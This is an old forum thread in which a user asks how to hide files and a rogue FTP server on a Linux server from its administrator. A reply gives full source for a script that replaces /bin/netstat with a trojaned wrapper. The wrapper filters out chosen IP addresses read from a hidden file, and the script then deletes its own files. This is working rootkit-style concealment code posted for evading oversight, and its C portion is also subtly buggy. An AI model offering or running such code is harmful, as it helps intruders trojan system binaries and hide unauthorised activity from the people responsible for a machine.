Full Version: hidden
thenow
hi



how can i hide some files and running things for example a ftp server on a linux server so that the admin wont check it
w00dy
hiding files in linux is basically impossible as it doesn't have any hide file utility. appending a '.' to the file name makes is invisible unless you are root or use the '-a' switch.
I dont post often so I dont know exactly how much i can say, so for now ill just tell u how it can be done rather than give u scripts. biggrin.gif
For hiding processes from ps, one simple way is to use your own ps.sh. Your shell script should move ps to a different location, then create a ps.c file that runs the ps command, then edits out the process by name, or pid.
If it is ok with moderators i will post a sample code of a netstat.sh i made that hide all processes connected to a specific b class IP.
GSecur
That is a pretty interesting method w00dy. I actually have never thought of that. I would love to see the code go ahead and post it.
w00dy
I don't have a linux box up right now, and I haven't used this code for a while so you might need to change a few things, but it should have no problems. You should be able to get the gist of it tho. If you find a error and are able to fix it, go ahead and post the fixed version.

===================

netstat.sh

<--- code start -->

#!/bin/sh
echo "hide netstat ip by w00dy"
echo " "
echo "whats the bclass ip you wana hide?"
read bch

echo "$bch" >> /var/tmp/.netstat
if [ -f /bin/netstat ]
then
echo "netstat found on /bin/netstat"
mv /bin/netstat /usr/local/bin/bzcat2

else
echo "cant find /bin/netstat! =["
exit 1
fi


cat >> netstat.c << _EOF_
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <string.h>

#define NETTMP "/usr/local/bin/bzcat2"
#define NETHIDE "/var/tmp/.netstat"

int main() {

FILE *fd;
char fname[1024];
char sos[1024];
char sosa[1024];
strcpy(fname, NETHIDE);

if(!(fd = (fopen(fname, "r")))) {
printf("Error creating raw socket\n");
exit(0);
}

bzero(sos, sizeof(sos));
fgets(sos, sizeof(sos), fd);

while(fgets(sos, sizeof(sos), fd)) {
sprintf(sosa, "%s | grep -v %s", NETTMP, sos);
system(sosa);
exit(0);
}
return 0;
fclose(fd);
}

_EOF_

cc netstat.c -o /bin/netstat
echo "all done..."
rm -f netstat.sh
rm -f netstat.c

<-- End Code-->

You can take out the 2nd to last line if u dont care if the script is left on the computer
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.